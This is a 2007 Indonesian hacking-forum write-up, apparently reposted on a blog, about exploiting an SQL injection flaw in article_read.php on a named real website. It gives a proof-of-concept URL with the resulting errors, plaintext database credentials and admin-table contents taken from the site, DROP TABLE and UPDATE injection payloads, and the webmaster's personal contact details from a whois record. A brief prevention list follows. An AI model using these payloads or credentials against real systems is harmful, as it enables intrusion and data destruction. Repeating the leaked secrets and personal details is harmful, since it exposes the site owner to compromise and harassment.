----------------------------------------
SQL Injection at MalangHack
----------------------------------------
Category: Hacking n Security
Author: roninmorgue
Date: April, 29th 2007
Location: Indonesia, Jakarta
Web: http://www.forum.mercubuana-it.org/
----------------------------------------
Affected :
Tulisan ini sebenarnya saya buat atas pernyataan dari pengelola web malanghack.net,
atas tulisan yang saya buat mengenai eksploitasi yang saya lakukan terhadap server
malanghack.net(baca postingan saya di room yang sama).
Dan tulisan ini saya buat juga didasarkan atas permintaan pengelola untuk melakukan
hacking kembali, padahal saya sudah lama meninggalkan aktifitas defacing.
Jadi yang saya lakukan hanyalah melakukan sedikit audit pada web site malanghack.net
Setelah cukup lama melakukan audit, saya menemukan vulnerability pada aplikasi web,
dan vulnerability tersebut masuk dalam kategori high risk.
Vulnerability yang ditemukan adalah SQL Injection pada salah satu file yang ada,
yaitu file article_read.php, dimana terdapat command SQL yang berfungsi untuk menampilkan
artikel pada web tersebut...namun tidak dilakukan sanitasi terhadap masukan data.
POC :
file tidak mampu mensanitasi karakter-karakter berikut :
', %27, ', '"
Ketikkan pada URL -->> http://www.malanghack.net/article_read.php?id='
akan tampil :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result
resource in /home/malang/public_html/article_read.php on line 343
DATA NOT FOUND
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result
resource in /home/malang/public_html/article_read.php on line 353
Dari result diatas kita dapat memastikan bahwa file telah mengeksekusi karakter
yang kita input tanpa melalui proses sanitasi, dan dinyatakan data tidak ditemukan.
Kemudian apa yang bisa kita lakukan dengan celah ini? OK...kita masuk ke inti dari
tulisan saya ini, sebelum saya jelaskan cara mengeksploitasinya ada baiknya saya
sedikit mereview hasil grabbing saya terdahulu terhadap struktur dari database aplikasi
web malanghack.net (ps: itu kalau dia ngga bohong yah, mengenai tidak ada perubahan
pada aplikasinya)
$database="sincan2_hack";
$sqlhost="localhost";
$sqluser="sincan2_abde";
$sqlpass="abdecakep12345";
* Nama-nama table database sincan2_hack -->
admin article crew deface depan download links
** field-field table admin -->
no int(5) PRI auto_increment user varchar(50) pass varchar(100)
md5pass varchar(255) email varchar(255) last varchar(255) nick varchar(50)
email_id varchar(100)
*** isi table admin -->
1 |sincan2 |- |- |sincan2@malanghack.net | |Sincan2 |haldi1304 |
** field-field table crew -->
no int(11) PRI nama varchar(255) email varchar(255) url varchar(255)
*** isi table crew -->
1 |J1nX |abde@j1nx.net |http://j1nx.net/ |
** field-field table depan
no int(5) depan longtext
*** isi table depan
1 |
Welcome to #malanghack
Rendrian Rizaldi Putra Atmono 7 Oktober 2005 jam 11 Malam
(HADI + ERNA)
-------------------------------------------------------------------
Selamat Tinggal 2005 masa kelam di mana suka dan duka selalu menyelimuti kita
Dan selamat Datang 2006 semoga Tuhan senantiasa bersama kita.
-------------------------------------------------------------------
Saya lebih tertarik untuk membuat contoh eksploitasi tabel yang sama ( tabel depan ).
Kita coba memberi sedikit pengertian yang terjadi pada SQL Injection dengan contoh :
SELECT nmr_cc
FROM pembeli
WHERE nama = 'Ronin O''Morgue'; -- berjalan dengan baik
Kebanyakan database mendukung mekanisme pelewatan karakter/string. MySQL, juga mengijinkan \'
untuk melewatkan sebuah tanda petik, jadi setelah memasukkan \'; DROP TABLE users; --
kita mendapatkan:
SELECT nmr_cc
FROM pembeli
WHERE nama = '\''; DROP TABLE pembeli; --'; -- Got!!! i hack your database!
Ok...itu contoh ekstrim, atau lebih ekstrim drop databasenya aja!!!
Tapi tentu saja itu sangat tidak cantik, padahal banyak yang masih bisa kita lakukan, seperti
bagaimana kita dapat mengeksploitasi aplikasi web malanghack.net
Saya perkirakan file article_read.php memiliki sebuah kode program SQL yang tidak berbeda jauh
dengan contoh yang saya berikan (dengan melihat dari URL)
SELECT *
FROM article
WHERE id = 'no_id'; -- ini akan berjalan dengan normal
Sekarang kita coba untuk melakukan perubahan isi data pada table 'depan',
SELECT *
FROM article
WHERE id = '\''; UPDATE depan SET depan =
dan silahkan aplikasikan eksploitasi tersebut pada URL nya ( tidak saya contohkan agar tidak
terjadi kegiatan yang merugikan pihak lain )
Pencegahan :
1. Batasi akses user melalui database permision, jangan ijinkan statement selain SELECT
2. Gunakan store prosedur untuk pengaksesan database
3. Buat fungsi untuk melakukan sanitasi terhadap input karakter
4. Buat konfigurasi error sendiri
Selanjutnya apa?
Seperti yang sudah disebutkan diatas, saya hanya mengaudit aplikasinya saja (bukan dari sisi server)
dan saya sudah meninggalkan aktifitas deface...jadi saya hanya ingin share saja.
Bagi yang ingin berbaik hati terhadap webmaster silahkan untuk memberitahu di:
Domain Name: MALANGHACK.NET
Registrant:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Creation Date: 14-Jul-2005
Expiration Date: 14-Jul-2007
Domain servers in listed order:
ns1.kerangkalangit.net
ns2.kerangkalangit.net
Administrative Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Technical Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Billing Contact:
IT Indonesia
Hadi (haldi1304@yahoo.com)
jl.kol.sugiono 3b
Malang
Jawa Timur,356694
ID
Tel. +62.85262470384
Status:ACTIVE
PS : Jangan merugikan pihak lain, ingat hukum karma akan terjadi terhadap kita (merasakan sendiri)
Jangan social enginnering.
Apakah ekploitasi ini pasti berhasil?
-- Tidak, karena keberhasilan eksplotasi ini sangat dipengaruhi oleh struktur database, konfigurasi
server, dan scipt utuh dari file.
Maaf buat yang kesal dan menganggap tulisan ini tidak bermutu, lain kali saya taruh diatas
deh PS-nya
------------------------------------------------------------
Shoutz:
~~~~~~
~ forum|staff (roninmorgue, darkstar, admin, qnoyyy, gaga, kalion,
WaferStick, newbie, cloud, acieis)
~ mercubuana-it@yahoogroups.com ,
~ x-code staff n members at yogya_family_code, ^family_code^,
---------------------------------------------------------------
Contact:
~~~~~~~~
roninmorgue || forum|staff
Homepage: http://www.forum.mercubuana-it.org/
email: roninmorgue[at]yahoo[dot]co[dot]id
anstellwinkel[at]yahoo[dot]com[dot]au
petambakudang[at]yahoo[dot]co[dot]id
---------------- [ EOF ] ----------------------------------------
Sumber:http://forum.mercubuana-it.org

Tidak ada komentar:
Posting Komentar